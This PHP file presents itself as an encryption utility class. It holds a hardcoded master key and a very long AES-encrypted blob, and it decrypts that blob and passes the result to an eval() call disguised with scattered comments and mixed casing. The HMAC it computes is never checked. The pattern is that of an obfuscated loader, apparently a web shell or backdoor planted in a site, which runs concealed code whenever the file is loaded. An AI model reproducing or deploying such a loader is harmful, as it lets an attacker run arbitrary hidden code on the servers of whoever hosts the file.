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<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;

public function __construct($masterKey) {
$this->masterKey = $masterKey;
}

public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}

private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);

return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}

private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}

public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}

public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}

$secure = new Secure('3Etrksi87rde3hd8s819Poe0o39sqKjl9');
$str = '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';
$decrypted = $secure->decrypt($str);
/*1749114361 AMDL*/eVaL(/*Super*/
/*saltLength*/$decrypted/*77540*/);

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